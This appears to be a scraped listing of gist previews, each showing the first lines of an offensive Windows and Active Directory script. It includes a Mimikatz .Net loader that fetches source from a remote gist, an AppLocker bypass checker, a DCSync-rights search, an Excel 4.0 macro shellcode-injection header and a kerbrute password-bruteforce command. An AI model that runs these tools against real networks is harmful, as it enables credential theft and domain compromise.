jthuraisamy

Windows Toolkit

Binary

Native Binaries

• IDA Pro

IDA Plugins	Preferred	Neutral	Unreviewed

0xhexmex

param(
    [Parameter(Mandatory)]
    [string]$Path
)

#Created by [email protected]
#
#Got keytab structure from http://www.ioplex.com/utilities/keytab.txt
#
#  keytab {

edermi

#!/usr/bin/env python3

# For untrusted XML input, use a hardened parser, see https://docs.python.org/3/library/xml.html

import xml.etree.ElementTree as ET
import sqlite3
import argparse
import sys

Dviros

#### Mimikatz .Net v2 (2.0.0 Alpha)
#### Many thanks to Casey Smith, Ridter, pljoel
###########################################################



$url = "https://gist.githubusercontent.com/Ridter/041e7ca21de39e285e151893edff4bd9/raw/aa59a8691cdad53cda9013c015b8b1a94eb868db/katz.cs"
$NetFolder = "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\"

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b

braaaax

# AppLocker Bypass Checker (Default Rules) v2.0
#
# One of the Default Rules in AppLocker allows everything in the folder C:\Windows to be executed.
# A normal user shouln't have write permission in that folder, but that is not always the case.
# This script lists default ACL for the "BUILTIN\users" group looking for write/createFiles & execute authorizations
#
# @Author: Sparc Flow in "How to Hack a Fashion Brand"
#
# NOTE: change the group and root_folder variables to suit your needs

neKuehn

#Requires -RunAsAdministrator

#search for accounts that have the sync SPN that aren't a Domain Controller
$shadowcomps = Get-ADObject -LDAPFilter '(&(ServicePrincipalName=E3514235-4B06-11D1-AB04-00C04FC2DCD2/*)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))' -Properties ServicePrincipalName

foreach ($scomp in $shadowcomps){
    
    $sSpns = $scomp.ServicePrincipalName | where {$_ -like "E3514235-4B06-11D1-AB04-00C04FC2DCD2/*"}
    
    foreach ($sSpn in $sSpns){

jeremypruitt

Reminders

Remember to log all the things!

• Metasploit - spool /home//.msf3/logs/console.log
• Save contents from each terminal!
• Linux - script myoutput.txt # Type exit to stop

Setup

nullenc0de

/
$$$lang-translate.service.js.aspx
$367-Million-Merger-Blocked.html
$defaultnav
${idfwbonavigation}.xml
$_news.php
$search2
£º
.0

Philts

<#
    Lateral movement and shellcode injection via Excel 4.0 macros
    Author: Philip Tsukerman (@PhilipTsukerman)
    License: BSD 3-Clause
    Based on Invoke-Excel4DCOM by Stan Hegt (@StanHacked) / Outflank - https://github.com/outflanknl/Excel4-DCOM
#>
 
function Invoke-ExShellcode
{
<#

TarlogicSecurity

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module: